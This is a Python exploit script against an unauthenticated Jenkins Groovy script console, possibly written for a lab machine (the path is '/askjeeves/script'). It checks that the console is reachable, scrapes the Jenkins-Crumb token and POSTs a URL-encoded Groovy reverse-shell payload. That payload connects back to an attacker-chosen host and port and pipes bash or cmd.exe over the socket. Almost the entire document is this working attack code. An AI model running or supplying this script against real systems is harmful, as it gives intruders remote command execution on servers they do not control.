Jenkins Script Groovy Console Exploit in Python
#!/bin/python3
# These exploits are a work in progress!
# Author: lyethar
# Add support authentication
# Change paths to /script accordingly
import requests
import sys
from colorama import Fore, Back, Style
import subprocess
import urllib.parse
#####BANNER#####
def printBanner1():
print (Fore.MAGENTA + """
888~-_ 888 888 _ ,e,
888 \ Y88b e / 888-~88e 888 e88~~8e 888-~88e 888 e~ ~ " 888-~88e d88~\
888 | Y88b d8b / 888 888 888 d888 88b 888 888 888d8b 888 888 888 C888
888 / Y888/Y88b/ 888 888 888 8888__888 888 888 888Y88b 888 888 888 Y88b
888_-~ Y8/ Y8/ 888 888 | 88P Y888 , 888 888 888 Y88b 888 888 888 888D
888 Y Y 888 888 \__8" "88___/ 888 888 888 Y88b 888 888 888 \_88P
""")
print(Style.RESET_ALL)
######CODE#####
printBanner1()
ip = sys.argv[1]
port = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]
if len(sys.argv) != 5:
print("Please enter target IP and Port to run the exploit")
print("Format: exploit.py ip port lhost lport")
sys.exit(5)
#Enumerating for script console
print(Fore.RED + "Enumerating for unauthenticated script console")
x = requests.get("http://" + ip + ":" + port + "/askjeeves/script")
if x.status_code == 200:
print("\nServer is running unauthenticated Jenkins Script Console!")
elif x.status_code != 200:
print("Protected by a login page?")
sys.exit(5)
#Retrieving Jenkins Crumb
url = 'http://' + ip + ':' + port + "/askjeeves/script"
subprocess.call(['sudo','curl','-X','GET', url,'-o','crumbs.txt'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
content = ""
with open('crumbs.txt', 'r') as reader:
content = reader.read()
#Get Jenkins Crumb by matching the string Jenkins Crumb and skipping 4 characters away from it, until it reaches ')'
def findCookie(content):
cookie = ""
compare_string = "Jenkins-Crumb"
for i in range(0, len(content)):
if content[i] == compare_string[0]:
#First Letter is matched
for j in range(0, len(compare_string)):
#Looping through the compare_string
if content[i + j] == compare_string[j]:
#If letters match
if j == len(compare_string) - 1:
#If its the last letter of the compare string, start at cookie
start = i + j + 5
iterator = 0
while content[start + iterator] != ")":
cookie = cookie + content[start + iterator]
iterator += 1
return cookie[:-1]
print("Here is your cookie: " + Fore.MAGENTA + findCookie(content))
JenkinsCrumb = findCookie(content)
payload = input(Fore.RED + "\nEnter Payload Type, bash or cmd.exe: ")
print("\nStart your listener!!")
#Using this URL for future POST request
url = 'http://' + ip + ':' + port + "/askjeeves/script"
#URL Encoded payload
url_payload = 'String%20host%3D%22' + lhost + '%22%3B%0Aint%20port%3D' + lport + '%3B%0AString%20cmd%3D%22' + payload + '%22%3B%0AProcess%20p%3Dnew%20ProcessBuilder(cmd).redirectErrorStream(true).start()%3BSocket%20s%3Dnew%20Socket(host%2Cport)%3BInputStream%20pi%3Dp.getInputStream()%2Cpe%3Dp.getErrorStream()%2C%20si%3Ds.getInputStream()%3BOutputStream%20po%3Dp.getOutputStream()%2Cso%3Ds.getOutputStream()%3Bwhile(!s.isClosed())%7Bwhile(pi.available()%3E0)so.write(pi.read())%3Bwhile(pe.available()%3E0)so.write(pe.read())%3Bwhile(si.available()%3E0)po.write(si.read())%3Bso.flush()%3Bpo.flush()%3BThread.sleep(50)%3Btry%20%7Bp.exitValue()%3Bbreak%3B%7Dcatch%20(Exception%20e)%7B%7D%7D%3Bp.destroy()%3Bs.close()%3B'
url_json = '%7B%22script%22%3A%20%22String%20host%3D%5C%22' + lhost + '%5C%22%3B%5Cnint%20port%3D' + lport +'%3B%5CnString%20cmd%3D%5C%22'+ payload + '%5C%22%3B%5CnProcess%20p%3Dnew%20ProcessBuilder(cmd).redirectErrorStream(true).start()%3BSocket%20s%3Dnew%20Socket(host%2Cport)%3BInputStream%20pi%3Dp.getInputStream()%2Cpe%3Dp.getErrorStream()%2C%20si%3Ds.getInputStream()%3BOutputStream%20po%3Dp.getOutputStream()%2Cso%3Ds.getOutputStream()%3Bwhile(!s.isClosed())%7Bwhile(pi.available()%3E0)so.write(pi.read())%3Bwhile(pe.available()%3E0)so.write(pe.read())%3Bwhile(si.available()%3E0)po.write(si.read())%3Bso.flush()%3Bpo.flush()%3BThread.sleep(50)%3Btry%20%7Bp.exitValue()%3Bbreak%3B%7Dcatch%20(Exception%20e)%7B%7D%7D%3Bp.destroy()%3Bs.close()%3B%22%2C%20%22%22%3A%20%22' + lhost +'%22%2C%20%22Jenkins-Crumb%22%3A%20%222f110922eac1494f8c910fc6ef1ae85f%22%7D'
#Decode payload and giving it to the payload variable to make POST request
payload2 = urllib.parse.unquote(url_payload)
payload = urllib.parse.unquote_plus(payload2)
#print(payload)
json_payload2 = urllib.parse.unquote(url_json)
json_payload3 = urllib.parse.unquote(json_payload2)
json_payload = urllib.parse.unquote_plus(json_payload3)
#print(json_payload)
x = requests.post(url, data={'script' : payload, 'Jenkins-Crumb' : JenkinsCrumb, 'json' : json_payload,'Submit' : 'Run'}, headers={'Accept-Language' : 'en-US,en;q=0.5', 'Accept-Encoding' : 'gzip, deflate','Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
,'Host' : ip + ':' + port, 'Origin' : 'http://' + ip + ':' + port, 'Referer' : 'http://' + ip + ':' + port + '/askjeeves/script' })
sys.exit(0)
Last updated